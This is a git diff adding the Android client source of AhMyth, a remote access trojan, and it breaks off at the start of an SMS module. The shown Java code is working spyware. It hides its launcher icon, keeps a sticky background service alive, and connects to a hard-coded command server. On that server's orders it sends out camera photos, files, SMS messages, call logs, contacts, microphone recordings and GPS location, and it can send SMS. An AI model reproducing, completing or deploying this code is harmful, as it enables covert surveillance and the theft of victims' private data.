diff --git a/AhMyth-Android-RAT/AhMyth-Client/AhMyth.iml b/AhMyth-Android-RAT/AhMyth-Client/AhMyth.iml
new file mode 100644
index 00000000..28ba339f
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/AhMyth.iml
@@ -0,0 +1,19 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/app.iml b/AhMyth-Android-RAT/AhMyth-Client/app/app.iml
new file mode 100644
index 00000000..bb93191c
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/app.iml
@@ -0,0 +1,125 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ generateDebugSources
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/build.gradle b/AhMyth-Android-RAT/AhMyth-Client/app/build.gradle
new file mode 100644
index 00000000..0a05d1bb
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/build.gradle
@@ -0,0 +1,32 @@
+apply plugin: 'com.android.application'
+
+android {
+ compileSdkVersion 24
+ buildToolsVersion '25.0.0'
+ defaultConfig {
+ applicationId "ahmyth.mine.king.ahmyth"
+ minSdkVersion 11
+ targetSdkVersion 24
+ versionCode 1
+ versionName "1.0"
+ testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
+ }
+ buildTypes {
+ release {
+ minifyEnabled false
+ proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
+ }
+ }
+}
+
+dependencies {
+ compile fileTree(dir: 'libs', include: ['*.jar'])
+ androidTestCompile('com.android.support.test.espresso:espresso-core:2.2.2', {
+ exclude group: 'com.android.support', module: 'support-annotations'
+ })
+ compile ('io.socket:socket.io-client:0.8.3') {
+ // excluding org.json which is provided by Android
+ exclude group: 'org.json', module: 'json'
+ }
+ testCompile 'junit:junit:4.12'
+}
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/proguard-rules.pro b/AhMyth-Android-RAT/AhMyth-Client/app/proguard-rules.pro
new file mode 100644
index 00000000..66f9ffac
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/proguard-rules.pro
@@ -0,0 +1,17 @@
+# Add project specific ProGuard rules here.
+# By default, the flags in this file are appended to flags specified
+# in /home/king/Android/Sdk/tools/proguard/proguard-android.txt
+# You can edit the include path and order by changing the proguardFiles
+# directive in build.gradle.
+#
+# For more details, see
+# http://developer.android.com/guide/developing/tools/proguard.html
+
+# Add any project specific keep options here:
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+# public *;
+#}
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/androidTest/java/ahmyth/mine/king/ahmyth/ExampleInstrumentedTest.java b/AhMyth-Android-RAT/AhMyth-Client/app/src/androidTest/java/ahmyth/mine/king/ahmyth/ExampleInstrumentedTest.java
new file mode 100644
index 00000000..86c2fee8
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/androidTest/java/ahmyth/mine/king/ahmyth/ExampleInstrumentedTest.java
@@ -0,0 +1,26 @@
+package ahmyth.mine.king.ahmyth;
+
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumentation test, which will execute on an Android device.
+ *
+ * @see Testing documentation
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+ @Test
+ public void useAppContext() throws Exception {
+ // Context of the app under test.
+ Context appContext = InstrumentationRegistry.getTargetContext();
+
+ assertEquals("ahmyth.mine.king.ahmyth", appContext.getPackageName());
+ }
+}
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/AndroidManifest.xml b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/AndroidManifest.xml
new file mode 100644
index 00000000..6d107f3b
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/AndroidManifest.xml
@@ -0,0 +1,58 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/CallsManager.java b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/CallsManager.java
new file mode 100644
index 00000000..7d2b9a8d
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/CallsManager.java
@@ -0,0 +1,50 @@
+package ahmyth.mine.king.ahmyth;
+
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.CallLog;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+/**
+ * Created by AhMyth on 11/11/16.
+ */
+
+public class CallsManager {
+
+ public static JSONObject getCallsLogs(){
+
+ try {
+ JSONObject Calls = new JSONObject();
+ JSONArray list = new JSONArray();
+
+ Uri allCalls = Uri.parse("content://call_log/calls");
+ Cursor cur = MainService.getContextOfApplication().getContentResolver().query(allCalls, null, null, null, null);
+
+ while (cur.moveToNext()) {
+ JSONObject call = new JSONObject();
+ String num = cur.getString(cur.getColumnIndex(CallLog.Calls.NUMBER));// for number
+ String name = cur.getString(cur.getColumnIndex(CallLog.Calls.CACHED_NAME));// for name
+ String duration = cur.getString(cur.getColumnIndex(CallLog.Calls.DURATION));// for duration
+ int type = Integer.parseInt(cur.getString(cur.getColumnIndex(CallLog.Calls.TYPE)));// for call type, Incoming or out going.
+
+
+ call.put("phoneNo", num);
+ call.put("name", name);
+ call.put("duration", duration);
+ call.put("type", type);
+ list.put(call);
+
+ }
+ Calls.put("callsList", list);
+ return Calls;
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+ return null;
+
+ }
+
+}
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/CameraManager.java b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/CameraManager.java
new file mode 100644
index 00000000..123a824b
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/CameraManager.java
@@ -0,0 +1,134 @@
+package ahmyth.mine.king.ahmyth;
+
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.SurfaceTexture;
+import android.hardware.Camera;
+import android.hardware.Camera.PictureCallback;
+import android.hardware.Camera.Parameters;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.io.ByteArrayOutputStream;
+
+
+public class CameraManager {
+
+ private Context context ;
+ private Camera camera;
+
+
+ public CameraManager(Context context) {
+ this.context = context;
+ }
+
+
+ public void startUp(int cameraID){
+ camera = Camera.open(cameraID);
+ Parameters parameters = camera.getParameters();
+ camera.setParameters(parameters);
+ try{
+ camera.setPreviewTexture(new SurfaceTexture(0));
+ camera.startPreview();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+
+ camera.takePicture(null, null, new PictureCallback() {
+ @Override
+ public void onPictureTaken(byte[] data, Camera camera) {
+ releaseCamera();
+ sendPhoto(data);
+ }
+ });
+ }
+
+
+ private void sendPhoto(byte [] data){
+
+ try {
+
+ Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length);
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
+ bitmap.compress(Bitmap.CompressFormat.JPEG, 20, bos);
+ JSONObject object = new JSONObject();
+ object.put("image",true);
+ object.put("buffer" , bos.toByteArray());
+ IOSocket.getInstance().getIoSocket().emit("x0000ca" , object);
+
+
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+
+ }
+
+ private void releaseCamera(){
+ if (camera != null) {
+ camera.stopPreview();
+ camera.release();
+ camera = null;
+ }
+ }
+
+ public JSONObject findCameraList() {
+
+ if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
+ return null;
+ }
+
+
+
+
+
+ try {
+ JSONObject cameras = new JSONObject();
+ JSONArray list = new JSONArray();
+ cameras.put("camList",true);
+
+ // Search for available cameras
+ int numberOfCameras = Camera.getNumberOfCameras();
+ for (int i = 0; i < numberOfCameras; i++) {
+ Camera.CameraInfo info = new Camera.CameraInfo();
+ Camera.getCameraInfo(i, info);
+ if (info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) {
+ JSONObject jo = new JSONObject();
+ jo.put("name", "Front");
+ jo.put("id", i);
+ list.put(jo);
+ }
+ else if (info.facing == Camera.CameraInfo.CAMERA_FACING_BACK){
+ JSONObject jo = new JSONObject();
+ jo.put("name", "Back");
+ jo.put("id", i);
+ list.put(jo);
+ }
+ else {
+ JSONObject jo = new JSONObject();
+ jo.put("name", "Other");
+ jo.put("id", i);
+ list.put(jo);
+ }
+ }
+
+ cameras.put("list" , list);
+ return cameras;
+
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+
+ return null;
+
+ }
+
+
+
+
+
+}
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/ConnectionManager.java b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/ConnectionManager.java
new file mode 100644
index 00000000..52bd8943
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/ConnectionManager.java
@@ -0,0 +1,184 @@
+package ahmyth.mine.king.ahmyth;
+
+import android.content.Context;
+import android.os.Looper;
+import android.util.Log;
+import org.json.JSONObject;
+import io.socket.emitter.Emitter;
+
+
+
+/**
+ * Created by AhMyth on 10/1/16.
+ */
+
+public class ConnectionManager {
+
+
+ public static Context context;
+ private static io.socket.client.Socket ioSocket;
+ private static FileManager fm = new FileManager();
+
+ public static void startAsync(Context con)
+ {
+ try {
+ context = con;
+ sendReq();
+ }catch (Exception ex){
+ startAsync(con);
+ }
+
+ }
+
+
+ public static void sendReq() {
+try {
+
+
+
+
+
+ if(ioSocket != null )
+ return;
+
+ ioSocket = IOSocket.getInstance().getIoSocket();
+
+
+ ioSocket.on("ping", new Emitter.Listener() {
+ @Override
+ public void call(Object... args) {
+ ioSocket.emit("pong");
+ }
+ });
+
+ ioSocket.on("order", new Emitter.Listener() {
+ @Override
+ public void call(Object... args) {
+ try {
+ JSONObject data = (JSONObject) args[0];
+ String order = data.getString("order");
+ Log.e("order",order);
+ switch (order){
+ case "x0000ca":
+ if(data.getString("extra").equals("camList"))
+ x0000ca(-1);
+ else if (data.getString("extra").equals("1"))
+ x0000ca(1);
+ else if (data.getString("extra").equals("0"))
+ x0000ca(0);
+ break;
+ case "x0000fm":
+ if (data.getString("extra").equals("ls"))
+ x0000fm(0,data.getString("path"));
+ else if (data.getString("extra").equals("dl"))
+ x0000fm(1,data.getString("path"));
+ break;
+ case "x0000sm":
+ if(data.getString("extra").equals("ls"))
+ x0000sm(0,null,null);
+ else if(data.getString("extra").equals("sendSMS"))
+ x0000sm(1,data.getString("to") , data.getString("sms"));
+ break;
+ case "x0000cl":
+ x0000cl();
+ break;
+ case "x0000cn":
+ x0000cn();
+ break;
+ case "x0000mc":
+ x0000mc(data.getInt("sec"));
+ break;
+ case "x0000lm":
+ x0000lm();
+ break;
+
+
+ }
+
+
+
+ }catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ });
+ ioSocket.connect();
+
+}catch (Exception ex){
+
+ Log.e("error" , ex.getMessage());
+
+}
+
+ }
+
+ public static void x0000ca(int req){
+
+ if(req == -1) {
+ JSONObject cameraList = new CameraManager(context).findCameraList();
+ if(cameraList != null)
+ ioSocket.emit("x0000ca" ,cameraList );
+ }
+ else if (req == 1){
+ new CameraManager(context).startUp(1);
+ }
+ else if (req == 0){
+ new CameraManager(context).startUp(0);
+ }
+
+ }
+
+ public static void x0000fm(int req , String path){
+ if(req == 0)
+ ioSocket.emit("x0000fm",fm.walk(path));
+ else if (req == 1)
+ fm.downloadFile(path);
+ }
+
+
+ public static void x0000sm(int req,String phoneNo , String msg){
+ if(req == 0)
+ ioSocket.emit("x0000sm" , SMSManager.getSMSList());
+ else if(req == 1) {
+ boolean isSent = SMSManager.sendSMS(phoneNo, msg);
+ ioSocket.emit("x0000sm", isSent);
+ }
+ }
+
+ public static void x0000cl(){
+ ioSocket.emit("x0000cl" , CallsManager.getCallsLogs());
+ }
+
+ public static void x0000cn(){
+ ioSocket.emit("x0000cn" , ContactsManager.getContacts());
+ }
+
+ public static void x0000mc(int sec) throws Exception{
+ MicManager.startRecording(sec);
+ }
+
+ public static void x0000lm() throws Exception{
+ Looper.prepare();
+ LocManager gps = new LocManager(context);
+ JSONObject location = new JSONObject();
+ // check if GPS enabled
+ if(gps.canGetLocation()){
+
+ double latitude = gps.getLatitude();
+ double longitude = gps.getLongitude();
+ Log.e("loc" , latitude+" , "+longitude);
+ location.put("enable" , true);
+ location.put("lat" , latitude);
+ location.put("lng" , longitude);
+ }
+ else
+ location.put("enable" , false);
+
+ ioSocket.emit("x0000lm", location);
+ }
+
+
+
+
+
+}
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/ContactsManager.java b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/ContactsManager.java
new file mode 100644
index 00000000..4f4a0d68
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/ContactsManager.java
@@ -0,0 +1,46 @@
+package ahmyth.mine.king.ahmyth;
+
+import android.database.Cursor;
+import android.provider.CallLog;
+import android.provider.ContactsContract;
+import android.util.Log;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+/**
+ * Created by AhMyth on 11/11/16.
+ */
+
+public class ContactsManager {
+
+ public static JSONObject getContacts(){
+
+ try {
+ JSONObject contacts = new JSONObject();
+ JSONArray list = new JSONArray();
+ Cursor cur = MainService.getContextOfApplication().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
+ new String[] { ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER}, null, null, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " ASC");
+
+
+ while (cur.moveToNext()) {
+ JSONObject contact = new JSONObject();
+ String name = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));// for number
+ String num = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));// for name
+
+ contact.put("phoneNo", num);
+ contact.put("name", name);
+ list.put(contact);
+
+ }
+ contacts.put("contactsList", list);
+ return contacts;
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+ return null;
+
+ }
+
+}
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/FileManager.java b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/FileManager.java
new file mode 100644
index 00000000..7171edd7
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/FileManager.java
@@ -0,0 +1,91 @@
+package ahmyth.mine.king.ahmyth;
+
+import android.util.Log;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.io.BufferedInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
+
+/**
+ * Created by AhMyth on 10/23/16.
+ */
+
+public class FileManager {
+
+
+ public static JSONArray walk(String path){
+
+
+ // Read all files sorted into the values-array
+ JSONArray values = new JSONArray();
+ File dir = new File(path);
+ if (!dir.canRead()) {
+ Log.d("cannot","inaccessible");
+ }
+
+ File[] list = dir.listFiles();
+ try {
+ if (list != null) {
+ JSONObject parenttObj = new JSONObject();
+ parenttObj.put("name", "../");
+ parenttObj.put("isDir", true);
+ parenttObj.put("path", dir.getParent());
+ values.put(parenttObj);
+ for (File file : list) {
+ if (!file.getName().startsWith(".")) {
+ JSONObject fileObj = new JSONObject();
+ fileObj.put("name", file.getName());
+ fileObj.put("isDir", file.isDirectory());
+ fileObj.put("path", file.getAbsolutePath());
+ values.put(fileObj);
+
+ }
+ }
+ }
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+
+
+ return values;
+ }
+
+ public static void downloadFile(String path){
+ if (path == null)
+ return;
+
+ File file = new File(path);
+
+ if (file.exists()){
+
+ int size = (int) file.length();
+ byte[] data = new byte[size];
+ try {
+ BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file));
+ buf.read(data, 0, data.length);
+ JSONObject object = new JSONObject();
+ object.put("file",true);
+ object.put("name",file.getName());
+ object.put("buffer" , data);
+ IOSocket.getInstance().getIoSocket().emit("x0000fm" , object);
+ buf.close();
+ } catch (FileNotFoundException e) {
+ e.printStackTrace();
+ } catch (IOException e) {
+ e.printStackTrace();
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+
+
+ }
+ }
+
+}
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/IOSocket.java b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/IOSocket.java
new file mode 100644
index 00000000..f3ef1487
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/IOSocket.java
@@ -0,0 +1,46 @@
+package ahmyth.mine.king.ahmyth;
+
+import android.os.Build;
+import android.provider.Settings;
+import java.net.URISyntaxException;
+import io.socket.client.IO;
+import io.socket.client.Socket;
+
+
+/**
+ * Created by AhMyth on 10/14/16.
+ */
+public class IOSocket {
+ private static IOSocket ourInstance = new IOSocket();
+ private io.socket.client.Socket ioSocket;
+
+
+
+ private IOSocket() {
+ try {
+
+ String deviceID = Settings.Secure.getString(MainService.getContextOfApplication().getContentResolver(), Settings.Secure.ANDROID_ID);
+ IO.Options opts = new IO.Options();
+ opts.reconnection = true;
+ opts.reconnectionDelay = 5000;
+ opts.reconnectionDelayMax = 999999999;
+
+ ioSocket = IO.socket("http://192.168.8.101:42474?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
+ } catch (URISyntaxException e) {
+ e.printStackTrace();
+ }
+ }
+
+
+ public static IOSocket getInstance() {
+ return ourInstance;
+ }
+
+ public Socket getIoSocket() {
+ return ioSocket;
+ }
+
+
+
+
+}
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/LocManager.java b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/LocManager.java
new file mode 100644
index 00000000..1b7e1ab5
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/LocManager.java
@@ -0,0 +1,164 @@
+package ahmyth.mine.king.ahmyth;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.util.Log;
+
+import static android.content.Context.LOCATION_SERVICE;
+
+public class LocManager implements LocationListener {
+
+ private final Context mContext;
+ // flag for GPS status
+ boolean isGPSEnabled = false;
+ // flag for network status
+ boolean isNetworkEnabled = false;
+ // flag for GPS status
+ boolean canGetLocation = false;
+ Location location; // location
+ double latitude; // latitude
+ double longitude; // longitude
+ // The minimum distance to change Updates in meters
+ private static final long MIN_DISTANCE_CHANGE_FOR_UPDATES = 10; // 10 meters
+ // The minimum time between updates in milliseconds
+ private static final long MIN_TIME_BW_UPDATES = 1000 * 60 * 1; // 1 minute
+ // Declaring a Location Manager
+ protected LocationManager locationManager;
+
+
+ public LocManager() {
+ this.mContext = null;
+ }
+
+
+ public LocManager(Context context) {
+ this.mContext = context;
+ getLocation();
+ }
+
+
+ public Location getLocation() {
+ try {
+ locationManager = (LocationManager) mContext.getSystemService(LOCATION_SERVICE);
+ // getting GPS status
+ isGPSEnabled = locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER);
+ // getting network status
+ isNetworkEnabled = locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER);
+
+ if (isGPSEnabled || isNetworkEnabled) {
+
+ this.canGetLocation = true;
+
+ // First get location from Network Provider
+ if (isNetworkEnabled) {
+ locationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, MIN_TIME_BW_UPDATES, MIN_DISTANCE_CHANGE_FOR_UPDATES, this);
+
+ Log.d("Network", "Network");
+ if (locationManager != null) {
+ location = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
+
+ if (location != null) {
+ latitude = location.getLatitude();
+ longitude = location.getLongitude();
+ }
+ }
+ }
+
+ // if GPS Enabled get lat/long using GPS Services
+ if (isGPSEnabled) {
+ if (location == null) {
+ locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, MIN_TIME_BW_UPDATES, MIN_DISTANCE_CHANGE_FOR_UPDATES, this);
+
+
+ if (locationManager != null) {
+ location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
+
+ if (location != null) {
+ latitude = location.getLatitude();
+ longitude = location.getLongitude();
+ }
+ }
+ }
+ }
+ }
+
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+
+ stopUsingGPS();
+ return location;
+ }
+
+ /**
+ * Stop using GPS listener
+ * Calling this function will stop using GPS in your app
+ * */
+
+ public void stopUsingGPS(){
+ if(locationManager != null){
+ locationManager.removeUpdates(LocManager.this);
+ }
+ }
+
+ /**
+ * Function to get latitude
+ * */
+
+ public double getLatitude(){
+ if(location != null){
+ latitude = location.getLatitude();
+ }
+
+ // return latitude
+ return latitude;
+ }
+
+ /**
+ * Function to get longitude
+ * */
+
+ public double getLongitude(){
+ if(location != null){
+ longitude = location.getLongitude();
+ }
+
+ // return longitude
+ return longitude;
+ }
+
+ /**
+ * Function to check GPS/wifi enabled
+ * @return boolean
+ * */
+
+ public boolean canGetLocation() {
+ return this.canGetLocation;
+ }
+
+
+
+ @Override
+ public void onLocationChanged(Location location) {
+ }
+
+ @Override
+ public void onProviderDisabled(String provider) {
+ }
+
+ @Override
+ public void onProviderEnabled(String provider) {
+ }
+
+ @Override
+ public void onStatusChanged(String provider, int status, Bundle extras) {
+ }
+
+
+}
\ No newline at end of file
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MainActivity.java b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MainActivity.java
new file mode 100644
index 00000000..f56139d8
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MainActivity.java
@@ -0,0 +1,31 @@
+package ahmyth.mine.king.ahmyth;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.hardware.Camera;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.View;
+import android.widget.Toast;
+
+
+
+public class MainActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ startService(new Intent(this, MainService.class));
+ finish();
+ fn_hideicon();
+ }
+
+
+ private void fn_hideicon() {
+ getPackageManager().setComponentEnabledSetting(getComponentName(),
+ PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+ PackageManager.DONT_KILL_APP);
+ }
+}
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MainService.java b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MainService.java
new file mode 100644
index 00000000..a5625b5e
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MainService.java
@@ -0,0 +1,45 @@
+package ahmyth.mine.king.ahmyth;
+
+import android.app.ActivityManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.IBinder;
+import android.util.Log;
+import android.widget.Toast;
+
+public class MainService extends Service {
+ private static Context contextOfApplication;
+
+ public MainService() {
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ // TODO: Return the communication channel to the service.
+ //throw new UnsupportedOperationException("Not yet implemented");
+ return null;
+ }
+
+
+ @Override
+ public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2)
+ {
+ contextOfApplication = this;
+ ConnectionManager.startAsync(this);
+ return Service.START_STICKY;
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ }
+
+
+ public static Context getContextOfApplication()
+ {
+ return contextOfApplication;
+ }
+
+
+}
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MicManager.java b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MicManager.java
new file mode 100644
index 00000000..acfe015b
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MicManager.java
@@ -0,0 +1,102 @@
+package ahmyth.mine.king.ahmyth;
+
+ import android.media.AudioFormat;
+ import android.media.AudioManager;
+ import android.media.AudioRecord;
+ import android.media.AudioTrack;
+ import android.media.MediaRecorder;
+ import android.os.Environment;
+ import android.os.ParcelFileDescriptor;
+ import android.util.Log;
+ import android.view.View;
+
+ import org.json.JSONException;
+ import org.json.JSONObject;
+
+ import java.io.BufferedInputStream;
+ import java.io.File;
+ import java.io.FileInputStream;
+ import java.io.FileNotFoundException;
+ import java.io.FileOutputStream;
+ import java.io.IOException;
+ import java.io.InputStream;
+ import java.io.OutputStream;
+ import java.util.Timer;
+ import java.util.TimerTask;
+
+/**
+ * Created by AhMyth on 11/11/16.
+ */
+
+public class MicManager {
+
+
+ static MediaRecorder recorder;
+ static File audiofile = null;
+ static final String TAG = "MediaRecording";
+ static TimerTask stopRecording;
+
+
+ public static void startRecording(int sec) throws Exception {
+
+
+ //Creating file
+ File dir = MainService.getContextOfApplication().getCacheDir();
+ try {
+ Log.e("DIRR" , dir.getAbsolutePath());
+ audiofile = File.createTempFile("sound", ".mp3", dir);
+ } catch (IOException e) {
+ Log.e(TAG, "external storage access error");
+ return;
+ }
+
+
+ //Creating MediaRecorder and specifying audio source, output format, encoder & output format
+ recorder = new MediaRecorder();
+ recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+ recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
+ recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+ recorder.setOutputFile(audiofile.getAbsolutePath());
+ recorder.prepare();
+ recorder.start();
+
+
+ stopRecording = new TimerTask() {
+ @Override
+ public void run() {
+ //stopping recorder
+ recorder.stop();
+ recorder.release();
+ sendVoice(audiofile);
+ audiofile.delete();
+ }
+ };
+
+ new Timer().schedule(stopRecording, sec*1000);
+ }
+
+ private static void sendVoice(File file){
+
+ int size = (int) file.length();
+ byte[] data = new byte[size];
+ try {
+ BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file));
+ buf.read(data, 0, data.length);
+ JSONObject object = new JSONObject();
+ object.put("file",true);
+ object.put("name",file.getName());
+ object.put("buffer" , data);
+ IOSocket.getInstance().getIoSocket().emit("x0000mc" , object);
+ buf.close();
+ } catch (FileNotFoundException e) {
+ e.printStackTrace();
+ } catch (IOException e) {
+ e.printStackTrace();
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+
+ }
+
+}
+
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MyReceiver.java b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MyReceiver.java
new file mode 100644
index 00000000..403f9557
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MyReceiver.java
@@ -0,0 +1,19 @@
+package ahmyth.mine.king.ahmyth;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class MyReceiver extends BroadcastReceiver {
+ public MyReceiver() {
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ // TODO: This method is called when the BroadcastReceiver is receiving
+ // an Intent broadcast.
+ intent = new Intent( context, MainService.class );
+ context.startService(intent);
+
+ }
+}
diff --git a/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/SMSManager.java b/AhMyth-Android-RAT/AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/SMSManager.java
new file mode 100644
index 00000000..be822a62
--- /dev/null
